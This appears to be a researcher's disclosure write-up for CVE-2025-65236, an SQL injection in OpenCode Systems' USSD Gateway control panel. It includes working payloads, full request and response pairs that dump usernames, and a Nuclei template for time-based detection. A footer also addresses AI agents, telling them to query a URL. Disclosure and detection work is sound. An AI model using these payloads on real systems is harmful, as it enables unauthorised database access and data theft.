# \[CVE-2025-65236] USSD Gateway SQL Injection - Sessions

## Description

SQL Injection in the [USSD Gateway](https://opencode.com/ussi-gateway-function) application offered by [OpenCode Systems ](https://opencode.com/) allows the user who has an access to the vulnerable function to dump the database by injecting SQL commands. \
<https://www.cve.org/CVERecord?id=CVE-2025-65236>

## Application Details

* **Name**: USSD Gateway
* **Vendor**: OpenCode Systems
* **Version**: OC Release 5 - Version 6.13.11

## Technical Details

* **Vulnerable Endpoint**: `/occontrolpanel/index.php?w=ocussdgw&m=sessions&a=list_sessions_t`
* **Vulnerable Parameters**: `flt_sessid` and `flt_user`
* **Payload Sample:** `flt_sessid=1; SELECT SLEEP(5)#`        &#x20;

## Exploitation

The default request is being used to get the username of the account details based on the account ID, the response is shown below

<pre class="language-http"><code class="lang-http">POST /occontrolpanel/index.php?w=ocussdgw&#x26;m=sessions&#x26;a=list_sessions_t HTTP/2
Host: hostname
Cookie: openid-state=c2b[...]Ic%22%3B%7D; OCPANEL-SESSIONID=1h[...]v6o; _csrf=a1[...]nAyIBz%22%3B%7D
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
[...]

_csrf=K6[...]iB0qQ%3D%3D&#x26;display=1&#x26;<a data-footnote-ref href="#user-content-fn-1">flt_sessid</a>=00000002&#x26;<a data-footnote-ref href="#user-content-fn-1">flt_user</a>=&#x26;flt_server_node=VSSTEST01AOCFRV
</code></pre>

```http
HTTP/2 200 OK
[...]


[...]
<td align=left>00000002</td><td align=center>[...]</td><td align=center>[...]</td><td align=center>USERNAME</td><td align=center>0</td><td align=center>127.0.0.1</td></tr>   
</TD>
</TR>
</TABLE>
[...]
```

By appending the payload to the parameter, all the usernames will be shown in the response.&#x20;

> You can use different payloads, the below one was used as a POC&#x20;

```http
POST /occontrolpanel/index.php?w=ocussdgw&m=sessions&a=list_sessions_t HTTP/2
Host: hostname
Cookie: openid-state=c2b[...]Ic%22%3B%7D; OCPANEL-SESSIONID=1h[...]v6o; _csrf=a1[...]nAyIBz%22%3B%7D
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
[...]

_csrf=K6[...]iB0qQ&display=1&flt_sessid=00000002'+or+1=1--+-&flt_user=&flt_server_node=VSSTEST01AOCFRV
```

```http
HTTP/2 200 OK
[...]

<td align=left>00000002</td><td align=center>[...]</td><td align=center>[...]</td><td align=center>USERNAME</td><td align=center>0</td><td align=center>127.0.0.1</td></tr>  
<td align=left>00000003</td><td align=center>[...]</td><td align=center>[...]</td><td align=center>USERNAME</td><td align=center>0</td><td align=center>127.0.0.1</td></tr> 
<td align=left>00000004</td><td align=center>[...]</td><td align=center>[...]</td><td align=center>USERNAME</td><td align=center>0</td><td align=center>127.0.0.1</td></tr>  
<td align=left>00000005</td><td align=center>[...]</td><td align=center>[...]</td><td align=center>USERNAME</td><td align=center>0</td><td align=center>127.0.0.1</td></tr>  
<td align=left>00000006</td><td align=center>[...]</td><td align=center>[...]</td><td align=center>USERNAME</td><td align=center>0</td><td align=center>127.0.0.1</td></tr>
[...]
</TD>
</TR>
</TABLE>
[...]
```

## Nuclei Template

You can use this template for easy detection.&#x20;

> Adjust the CSRF if required

```yaml
id: ocussdgw-list_sessions-sqli-time

info:
  name: USSD Gateway OCP Control Panel SQL Injection
  author: Eslam Ali Akl @eslam3kl
  severity: high
  description: |
    Time-based SQL injection test for the list_sessions_t endpoint.
    Injects a SLEEP(5) payload into the `flt_sessid` and `flt_user` parameters and flags the
    target if the response time indicates the SQL sleep was executed.
    Adjust `_csrf`, cookies or headers if authentication is required.
  tags: [sqli, time-based, ocpanel, ocussdgw]

requests:
  - id: time_inject_flt_sessid
    method: POST
    path:
      - "{{BaseURL}}/occontrolpanel/index.php?w=ocussdgw&m=sessions&a=list_sessions_t"
    headers:
      Content-Type: "application/x-www-form-urlencoded; charset=UTF-8"
      X-Requested-With: "XMLHttpRequest"
      User-Agent: "nuclei-scan"
    body: "_csrf=K6[...]iB0qQ%3D%3D&display=1&flt_sessid=00000002'; SELECT SLEEP(5)#&flt_user=&flt_server_node=VSSTEST01AOCFRV"
    matchers:
      - type: dsl
        dsl:
          - "duration >= 4"

  - id: time_inject_flt_user
    method: POST
    path:
      - "{{BaseURL}}/occontrolpanel/index.php?w=ocussdgw&m=sessions&a=list_sessions_t"
    headers:
      Content-Type: "application/x-www-form-urlencoded; charset=UTF-8"
      X-Requested-With: "XMLHttpRequest"
      User-Agent: "nuclei-scan"
    body: "_csrf=K6[...]iB0qQ%3D%3D&display=1&flt_sessid=00000002&flt_user=admin'; SELECT SLEEP(5)#&flt_server_node=VSSTEST01AOCFRV"
    matchers:
      - type: dsl
        dsl:
          - "duration >= 4"

```

[^1]: the vulnerable parameter


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://eslam3kl.gitbook.io/blog/web-application-findings/cve-2025-65236-ussd-gateway-sql-injection-sessions.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.